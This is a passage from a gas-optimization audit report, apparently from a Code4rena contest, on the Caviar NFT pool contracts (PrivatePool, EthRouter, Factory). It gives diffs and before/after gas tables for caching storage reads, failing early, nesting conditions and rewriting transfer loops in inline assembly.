         uint256 royaltyFeeAmount = 0;
+        address _nft = nft;
         for (uint256 i = 0; i < tokenIds.length; i++) {
             // transfer the NFT to the caller
-            ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);
+            ERC721(_nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L329-L333

Cache payRoyalties to avoid storage reads on each loop iteration

File: src/PrivatePool.sol
329:        for (uint256 i = 0; i < tokenIds.length; i++) {
330:            // transfer each nft from the caller
331:            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
332:
333:            if (payRoyalties) { // @audit: sload on every iteration
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..a41a1f5 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -307,30 +307,33 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to sell
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

-        // calculate the net output amount and fee amount
-        (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);
+            // calculate the net output amount and fee amount
+            (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);

-        //  check the nfts are not stolen
-        if (useStolenNftOracle) {
-            IStolenNftOracle(stolenNftOracle).validateTokensAreNotStolen(nft, tokenIds, stolenNftProofs);
-        }
+            //  check the nfts are not stolen
+            if (useStolenNftOracle) {
+                IStolenNftOracle(stolenNftOracle).validateTokensAreNotStolen(nft, tokenIds, stolenNftProofs);
+            }

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
-        virtualNftReserves += uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
+            virtualNftReserves += uint128(weightSum);
+        }

         // ~~~ Interactions ~~~ //

         uint256 royaltyFeeAmount = 0;
+        bool _payRoyalties = payRoyalties;
         for (uint256 i = 0; i < tokenIds.length; i++) {
             // transfer each nft from the caller
             ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);

-            if (payRoyalties) {
+            if (_payRoyalties) {
                 // calculate the sale price (assume it's the same for each NFT even if weights differ)
                 uint256 salePrice = (netOutputAmount + feeAmount + protocolFeeAmount) / tokenIds.length;

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L329-L331

Cache nft to avoid storage reads on each loop iteration

File: src/PrivatePool.sol
329:        for (uint256 i = 0; i < tokenIds.length; i++) {
330:            // transfer each nft from the caller
331:            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]); // @audit: sload on every iteration
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..70009e1 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -307,28 +307,31 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // calculate the sum of weights of the NFTs to sell
-        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
+        {
+            uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

-        // calculate the net output amount and fee amount
-        (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);
+            // calculate the net output amount and fee amount
+            (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);

-        //  check the nfts are not stolen
-        if (useStolenNftOracle) {
-            IStolenNftOracle(stolenNftOracle).validateTokensAreNotStolen(nft, tokenIds, stolenNftProofs);
-        }
+            //  check the nfts are not stolen
+            if (useStolenNftOracle) {
+                IStolenNftOracle(stolenNftOracle).validateTokensAreNotStolen(nft, tokenIds, stolenNftProofs);
+            }

-        // ~~~ Effects ~~~ //
+            // ~~~ Effects ~~~ //

-        // update the virtual reserves
-        virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
-        virtualNftReserves += uint128(weightSum);
+            // update the virtual reserves
+            virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
+            virtualNftReserves += uint128(weightSum);
+        }

         // ~~~ Interactions ~~~ //

         uint256 royaltyFeeAmount = 0;
+        address _nft = nft;
         for (uint256 i = 0; i < tokenIds.length; i++) {
             // transfer each nft from the caller
-            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
+            ERC721(_nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L441-L448

Cache nft to avoid storage reads on each loop iteration

File: src/PrivatePool.sol
441:        for (uint256 i = 0; i < inputTokenIds.length; i++) {
442:            ERC721(nft).safeTransferFrom(msg.sender, address(this), inputTokenIds[i]); // @audit: sload on every iteration
443:        }
444:
445:        // transfer the output nfts to the caller
446:        for (uint256 i = 0; i < outputTokenIds.length; i++) {
447:            ERC721(nft).safeTransferFrom(address(this), msg.sender, outputTokenIds[i]); // @audit: sload on every iteration
448:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..5e4e292 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -438,13 +438,14 @@ contract PrivatePool is ERC721TokenReceiver {
         }

         // transfer the input nfts from the caller
+        address _nft = nft;
         for (uint256 i = 0; i < inputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(this), inputTokenIds[i]);
+            ERC721(_nft).safeTransferFrom(msg.sender, address(this), inputTokenIds[i]);
         }

         // transfer the output nfts to the caller
         for (uint256 i = 0; i < outputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(address(this), msg.sender, outputTokenIds[i]);
+            ERC721(_nft).safeTransferFrom(address(this), msg.sender, outputTokenIds[i]);
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L496-L498

Cache nft to avoid storage reads on each loop iteration

File: src/PrivatePool.sol
496:        for (uint256 i = 0; i < tokenIds.length; i++) {
497:            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]); // @audit: sload on every iteration
498:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..65eee4c 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -493,8 +493,9 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Interactions ~~~ //

         // transfer the nfts from the caller
+        address _nft = nft;
         for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
+            ERC721(_nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
         }

         if (baseToken != address(0)) {

[G-05] Rearrange code to fail early

In the instance below, two gas-intensive internal functions are invoked before the if statement. If the check causes a revert, the gas consumed in the first two internal functions will not be refunded. Move the if statement to the top of the function to save gas for users that trigger a revert.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L219-L225

Gas Savings for PrivatePool.buy, obtained via protocol’s tests: Avg 327 gas

Med Max Avg # calls
Before 74037 158864 70884 24
After 74040 158867 70557 24
File: src/PrivatePool.sol
219:        uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
220:
221:        // calculate the required net input amount and fee amount
222:        (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);
223:
224:        // check that the caller sent 0 ETH if the base token is not ETH
225:        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..7465103 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -215,15 +215,15 @@ contract PrivatePool is ERC721TokenReceiver {
     {
         // ~~~ Checks ~~~ //

+        // check that the caller sent 0 ETH if the base token is not ETH
+        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+
         // calculate the sum of weights of the NFTs to buy
         uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);

         // calculate the required net input amount and fee amount
         (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);

-        // check that the caller sent 0 ETH if the base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
-
         // ~~~ Effects ~~~ //

[G-06] x += y/x -= y costs more gas than x = x + y/x = x - y for state variables

Total Instances: 2

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L230-L231

Gas Savings for PrivatePool.buy, obtained via protocol’s tests: Avg 289 gas

Med Max Avg # calls
Before 74037 158864 70884 24
After 73713 158540 70595 24
File: src/PrivatePool.sol
230:        virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
231:        virtualNftReserves -= uint128(weightSum);
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..a0813a6 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -227,8 +227,8 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Effects ~~~ //

         // update the virtual reserves
-        virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);
-        virtualNftReserves -= uint128(weightSum);
+        virtualBaseTokenReserves = virtualBaseTokenReserves + uint128(netInputAmount - feeAmount - protocolFeeAmount);
+        virtualNftReserves = virtualNftReserves - uint128(weightSum);

         // ~~~ Interactions ~~~ //

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L323-L324

Gas Savings for PrivatePool.sell, obtained via protocol’s tests: Avg 255 gas

Med Max Avg # calls
Before 50139 170448 81969 25
After 49891 170138 81714 25
File: src/PrivatePool.sol
323:        virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
324:        virtualNftReserves += uint128(weightSum);
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..8a99e47 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -320,8 +320,8 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Effects ~~~ //

         // update the virtual reserves
-        virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);
-        virtualNftReserves += uint128(weightSum);
+        virtualBaseTokenReserves = virtualBaseTokenReserves - uint128(netOutputAmount + protocolFeeAmount + feeAmount);
+        virtualNftReserves = virtualNftReserves + uint128(weightSum);

         // ~~~ Interactions ~~~ //

[G-07] If statements that use && can be refactored into nested if statements

Total Instances: 9

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L225

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L277

Gas Savings for PrivatePool.buy, obtained via protocol’s tests: Avg 25 gas

Med Max Avg # calls
Before 74037 158864 70884 24
After 74011 158793 70859 24
File: src/PrivatePool.sol
225:        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();

277:        if (royaltyFee > 0 && recipient != address(0)) {
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..73492e8 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -222,7 +222,11 @@ contract PrivatePool is ERC721TokenReceiver {
         (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);

         // check that the caller sent 0 ETH if the base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+        if (baseToken != address(0)) {
+            if (msg.value > 0) {
+                revert InvalidEthAmount();
+            }
+        }

         // ~~~ Effects ~~~ //

@@ -274,11 +278,13 @@ contract PrivatePool is ERC721TokenReceiver {
                 (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice);

                 // transfer the royalty fee to the recipient if it's greater than 0
-                if (royaltyFee > 0 && recipient != address(0)) {
-                    if (baseToken != address(0)) {
-                        ERC20(baseToken).safeTransfer(recipient, royaltyFee);
-                    } else {
-                        recipient.safeTransferETH(royaltyFee);
+                if (royaltyFee > 0) {
+                    if (recipient != address(0)) {
+                        if (baseToken != address(0)) {
+                            ERC20(baseToken).safeTransfer(recipient, royaltyFee);
+                        } else {
+                            recipient.safeTransferETH(royaltyFee);
+                        }
                     }
                 }
             }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L344-L350

Gas Savings for PrivatePool.sell, obtained via protocol’s tests: Avg 29 gas

Med Max Avg # calls
Before 50139 170448 81969 25
After 50139 170394 81940 25
File: src/PrivatePool.sol
344:                if (royaltyFee > 0 && recipient != address(0)) {
345:                    if (baseToken != address(0)) {
346:                        ERC20(baseToken).safeTransfer(recipient, royaltyFee);
347:                    } else {
348:                        recipient.safeTransferETH(royaltyFee);
349:                    }
350:                }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..a3218eb 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -341,11 +341,13 @@ contract PrivatePool is ERC721TokenReceiver {
                 royaltyFeeAmount += royaltyFee;

                 // transfer the royalty fee to the recipient if it's greater than 0
-                if (royaltyFee > 0 && recipient != address(0)) {
-                    if (baseToken != address(0)) {
-                        ERC20(baseToken).safeTransfer(recipient, royaltyFee);
-                    } else {
-                        recipient.safeTransferETH(royaltyFee);
+                if (royaltyFee > 0) {
+                    if (recipient != address(0)) {
+                        if (baseToken != address(0)) {
+                            ERC20(baseToken).safeTransfer(recipient, royaltyFee);
+                        } else {
+                            recipient.safeTransferETH(royaltyFee);
+                        }
                     }
                 }
             }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L397

Gas Savings for PrivatePool.change, obtained via protocol’s tests: Avg 25 gas

Med Max Avg # calls
Before 116432 142008 82138 17
After 116406 141982 82113 17
File: src/PrivatePool.sol
397:        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..e9bd8f2 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -394,7 +394,11 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Checks ~~~ //

         // check that the caller sent 0 ETH if base token is not ETH
-        if (baseToken != address(0) && msg.value > 0) revert InvalidEthAmount();
+        if (baseToken != address(0)) {
+            if (msg.value > 0) {
+                revert InvalidEthAmount();
+            }
+        }

         // check that NFTs are not stolen
         if (useStolenNftOracle) {

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L635

Gas Savings for PrivatePool.flashLoan, obtained via protocol’s tests: Avg 16 gas

Med Max Avg # calls
Before 83063 103206 83063 2
After 83047 103185 83047 2
File: src/PrivatePool.sol
635:        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..fe5c440 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -632,7 +632,11 @@ contract PrivatePool is ERC721TokenReceiver {
         uint256 fee = flashFee(token, tokenId);

         // if base token is ETH then check that caller sent enough for the fee
-        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();
+        if (baseToken == address(0)) {
+            if (msg.value < fee) {
+                revert InvalidEthAmount();
+            }
+        }

         // transfer the NFT to the borrower
         ERC721(token).safeTransferFrom(address(this), address(receiver), tokenId);

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L101-L103

Gas Savings for EthRouter.buy, obtained via protocol’s tests: Avg 10 gas

Med Max Avg # calls
Before 187054 397581 199750 7
After 187044 397569 199740 7
File: src/EthRouter.sol
101:        if (block.timestamp > deadline && deadline != 0) {
102:            revert DeadlinePassed();
103:        }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..41ef7bf 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -98,8 +98,10 @@ contract EthRouter is ERC721TokenReceiver {
     /// @param payRoyalties Whether to pay royalties or not.
     function buy(Buy[] calldata buys, uint256 deadline, bool payRoyalties) public payable {
         // check that the deadline has not passed (if any)
-        if (block.timestamp > deadline && deadline != 0) {
-            revert DeadlinePassed();
+        if (block.timestamp > deadline) {
+            if (deadline != 0) {
+                revert DeadlinePassed();
+            }
         }

The instances below are similar to the one above:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L154-L156

Gas Savings for EthRouter.sell, obtained via protocol’s tests: Avg 11 gas

Med Max Avg # calls
Before 217300 402940 232102 7
After 217290 402928 232091 7

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L228-L230

Gas Savings for EthRouter.deposit, obtained via protocol’s tests: Avg 12 gas

Med Max Avg # calls
Before 2371 114072 29900 4
After 2359 114060 29888 4

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L256-L258

Gas Savings for EthRouter.change, obtained via protocol’s tests: Avg 12 gas

Med Max Avg # calls
Before 284857 298879 217295 4
After 284845 298867 217283 4

[G-08] Use assembly for loops

In the following instances, assembly is used for more gas efficient loops. The only memory slots that are manually used in the loops are scratch space (0x00-0x20), the free memory pointer (0x40), and the zero slot (0x60). This allows us to avoid using the free memory pointer to allocate new memory, which may result in memory expansion costs.

Note that in order to do this optimization safely we will need to cache and restore the free memory pointer after the loop. We will also set the zero slot (0x60) back to 0.

The final diffs have comments explaining the assembly code.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/Factory.sol#L119-L121

Gas Savings for Factory.create, obtained via protocol’s tests: Avg 129 gas

Med Max Avg # calls
Before 161124 245619 148801 35
After 161112 243941 148672 35
File: src/Factory.sol
119:        for (uint256 i = 0; i < tokenIds.length; i++) {
120:            ERC721(_nft).safeTransferFrom(msg.sender, address(privatePool), tokenIds[i]);
121:        }
diff --git a/src/Factory.sol b/src/Factory.sol
index 09cbb4e..c2e06f6 100644
--- a/src/Factory.sol
+++ b/src/Factory.sol
@@ -116,8 +116,26 @@ contract Factory is ERC721, Owned {
         }

         // deposit the nfts from the caller into the pool
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(_nft).safeTransferFrom(msg.sender, address(privatePool), tokenIds[i]);
+        assembly {
+            if mload(tokenIds) {
+                let memptr := mload(0x40)
+                let end := add(add(tokenIds, 0x20), mul(0x20, mload(tokenIds)))
+                let i := add(tokenIds, 0x20)
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, privatePool)
+                for {} 1 {} {
+                    mstore(0x60, mload(i))
+                    let success := call(gas(), calldataload(0x24), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L134-L137

Gas Savings for EthRouter.buy, obtained via protocol’s tests: Avg 5728 gas

Med Max Avg # calls
Before 187054 397581 199750 7
After 182465 384540 194022 7
File: src/EthRouter.sol
134:            for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {
135:                // transfer the NFT to the caller
136:                ERC721(buys[i].nft).safeTransferFrom(address(this), msg.sender, buys[i].tokenIds[j]);
137:            }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..4ea89f5 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -131,9 +131,28 @@ contract EthRouter is ERC721TokenReceiver {
                 );
             }

-            for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {
-                // transfer the NFT to the caller
-                ERC721(buys[i].nft).safeTransferFrom(address(this), msg.sender, buys[i].tokenIds[j]);
+            Buy calldata _buy = buys[i];
+            uint256[] calldata _tokenIds = _buy.tokenIds;
+            assembly {
+                if _tokenIds.length {
+                    let memptr := mload(0x40)
+                    let end := add(_tokenIds.offset, mul(0x20, _tokenIds.length))
+                    let j := _tokenIds.offset
+                    mstore(0x00, 0x42842e0e)
+                    mstore(0x20, address())
+                    mstore(0x40, caller())
+                    for {} 1 {} {
+                        mstore(0x60, calldataload(j))
+                        let success := call(gas(), calldataload(add(_buy, 0x20)), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                        if iszero(success) {
+                            revert(0, 0)
+                        }
+                        j := add(j, 0x20)
+                        if iszero(lt(j, end)) { break }
+                    }
+                    mstore(0x40, memptr)
+                    mstore(0x60, 0x00)
+                }
             }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L161-L163

Gas Savings for EthRouter.sell, obtained via protocol’s tests: Avg 4735 gas

Med Max Avg # calls
Before 217300 402940 232102 7
After 212706 395062 227367 7
File: src/EthRouter.sol
161:            for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
162:                ERC721(sells[i].nft).safeTransferFrom(msg.sender, address(this), sells[i].tokenIds[j]);
163:            }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..c1a07ab 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -158,8 +158,30 @@ contract EthRouter is ERC721TokenReceiver {
         // loop through and execute the sells
         for (uint256 i = 0; i < sells.length; i++) {
             // transfer the NFTs into the router from the caller
-            for (uint256 j = 0; j < sells[i].tokenIds.length; j++) {
-                ERC721(sells[i].nft).safeTransferFrom(msg.sender, address(this), sells[i].tokenIds[j]);
+            {
+                Sell calldata _sell = sells[i];
+                uint256[] calldata _tokenIds = _sell.tokenIds;
+                assembly {
+                    if _tokenIds.length {
+                        let memptr := mload(0x40)
+                        let end := add(_tokenIds.offset, mul(0x20, _tokenIds.length))
+                        let j := _tokenIds.offset
+                        mstore(0x00, 0x42842e0e)
+                        mstore(0x20, caller())
+                        mstore(0x40, address())
+                        for {} 1 {} {
+                            mstore(0x60, calldataload(j))
+                            let success := call(gas(), calldataload(add(_sell, 0x20)), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                            if iszero(success) {
+                                revert(0, 0)
+                            }
+                            j := add(j, 0x20)
+                            if iszero(lt(j, end)) { break }
+                        }
+                        mstore(0x40, memptr)
+                        mstore(0x60, 0x00)
+                    }
+                }
             }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L239-L241

Gas Savings for EthRouter.deposit, obtained via protocol’s tests: Avg 211 gas

Med Max Avg # calls
Before 2371 114072 29900 4
After 2371 113228 29689 4
File: src/EthRouter.sol
239:        for (uint256 i = 0; i < tokenIds.length; i++) {
240:            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
241:        }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..3006dcb 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -236,8 +236,26 @@ contract EthRouter is ERC721TokenReceiver {
         }

         // transfer NFTs from caller
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
+        assembly {
+            if tokenIds.length {
+                let memptr := mload(0x40)
+                let end := add(tokenIds.offset, mul(0x20, tokenIds.length))
+                let i := tokenIds.offset
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, address())
+                for {} 1 {} {
+                    mstore(0x60, calldataload(i))
+                    let success := call(gas(), calldataload(0x24), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L265-L286

Gas Savings for EthRouter.change, obtained via protocol’s tests: Avg 6587 gas

Med Max Avg # calls
Before 284857 298879 217295 4
After 276074 290096 210708 4
File: src/EthRouter.sol
265:            for (uint256 j = 0; j < changes[i].inputTokenIds.length; j++) {
266:                ERC721(_change.nft).safeTransferFrom(msg.sender, address(this), _change.inputTokenIds[j]);
267:            }
...            
284:            for (uint256 j = 0; j < changes[i].outputTokenIds.length; j++) {
285:                ERC721(_change.nft).safeTransferFrom(address(this), msg.sender, _change.outputTokenIds[j]);
286:            }
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..250b83b 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -260,10 +260,30 @@ contract EthRouter is ERC721TokenReceiver {
         // loop through and execute the changes
         for (uint256 i = 0; i < changes.length; i++) {
             Change memory _change = changes[i];
+            uint256[] memory _inputTokenIds = _change.inputTokenIds;
+            uint256[] memory _outputTokenIds = _change.outputTokenIds;

             // transfer NFTs from caller
-            for (uint256 j = 0; j < changes[i].inputTokenIds.length; j++) {
-                ERC721(_change.nft).safeTransferFrom(msg.sender, address(this), _change.inputTokenIds[j]);
+            assembly {
+                if mload(_inputTokenIds) {
+                    let memptr := mload(0x40)
+                    let end := add(add(_inputTokenIds, 0x20), mul(0x20, mload(_inputTokenIds)))
+                    let j := add(_inputTokenIds, 0x20)
+                    mstore(0x00, 0x42842e0e)
+                    mstore(0x20, caller())
+                    mstore(0x40, address())
+                    for {} 1 {} {
+                        mstore(0x60, mload(j))
+                        let success := call(gas(), mload(add(_change, 0x20)), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                        if iszero(success) {
+                            revert(0, 0)
+                        }
+                        j := add(j, 0x20)
+                        if iszero(lt(j, end)) { break }
+                    }
+                    mstore(0x40, memptr)
+                    mstore(0x60, 0x00)
+                }
             }

             // approve pair to transfer NFTs from router
@@ -281,8 +301,26 @@ contract EthRouter is ERC721TokenReceiver {
             );

             // transfer NFTs to caller
-            for (uint256 j = 0; j < changes[i].outputTokenIds.length; j++) {
-                ERC721(_change.nft).safeTransferFrom(address(this), msg.sender, _change.outputTokenIds[j]);
+            assembly {
+                if mload(_outputTokenIds) {
+                    let memptr := mload(0x40)
+                    let end := add(add(_outputTokenIds, 0x20), mul(0x20, mload(_outputTokenIds)))
+                    let j := add(_outputTokenIds, 0x20)
+                    mstore(0x00, 0x42842e0e)
+                    mstore(0x20, address())
+                    mstore(0x40, caller())
+                    for {} 1 {} {
+                        mstore(0x60, mload(j))
+                        let success := call(gas(), mload(add(_change, 0x20)), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                        if iszero(success) {
+                            revert(0, 0)
+                        }
+                        j := add(j, 0x20)
+                        if iszero(lt(j, end)) { break }
+                    }
+                    mstore(0x40, memptr)
+                    mstore(0x60, 0x00)
+                }
             }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L441-L448

Gas Savings for PrivatePool.change, obtained via protocol’s tests: Avg 2388 gas

Med Max Avg # calls
Before 116432 142008 82138 17
After 113218 136466 79750 17
File: src/PrivatePool.sol
441:        for (uint256 i = 0; i < inputTokenIds.length; i++) {
442:            ERC721(nft).safeTransferFrom(msg.sender, address(this), inputTokenIds[i]);
443:        }
444:
445:        // transfer the output nfts to the caller
446:        for (uint256 i = 0; i < outputTokenIds.length; i++) {
447:            ERC721(nft).safeTransferFrom(address(this), msg.sender, outputTokenIds[i]);
448:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..859111e 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -438,13 +438,51 @@ contract PrivatePool is ERC721TokenReceiver {
         }

         // transfer the input nfts from the caller
-        for (uint256 i = 0; i < inputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(this), inputTokenIds[i]);
+        address _nft = nft;
+        assembly {
+            if mload(inputTokenIds) {
+                let memptr := mload(0x40)
+                let end := add(add(inputTokenIds, 0x20), mul(0x20, mload(inputTokenIds)))
+                let i := add(inputTokenIds, 0x20)
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, address())
+                for {} 1 {} {
+                    mstore(0x60, mload(i))
+                    let success := call(gas(), _nft, 0x00, 0x1c, 0x64, 0x00, 0x00)
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
+
         }

         // transfer the output nfts to the caller
-        for (uint256 i = 0; i < outputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(address(this), msg.sender, outputTokenIds[i]);
+        assembly {
+            if mload(outputTokenIds) {
+                let memptr := mload(0x40)
+                let end := add(add(outputTokenIds, 0x20), mul(0x20, mload(outputTokenIds)))
+                let i := add(outputTokenIds, 0x20)
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, address())
+                mstore(0x40, caller())
+                for {} 1 {} {
+                    mstore(0x60, mload(i))
+                    let success := call(gas(), _nft, 0x00, 0x1c, 0x64, 0x00, 0x00)
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L496-L498

Note: PrivatePool.deposit is fuzzed, which results in inconsistent gas usage during tests. This is why EthRouter.deposit is benchmarked instead.

Gas Savings for EthRouter.deposit, obtained via protocol’s tests: Avg 232 gas

Med Max Avg # calls
Before 2371 114072 29900 4
After 2371 113145 29668 4
File: src/PrivatePool.sol
496:        for (uint256 i = 0; i < tokenIds.length; i++) {
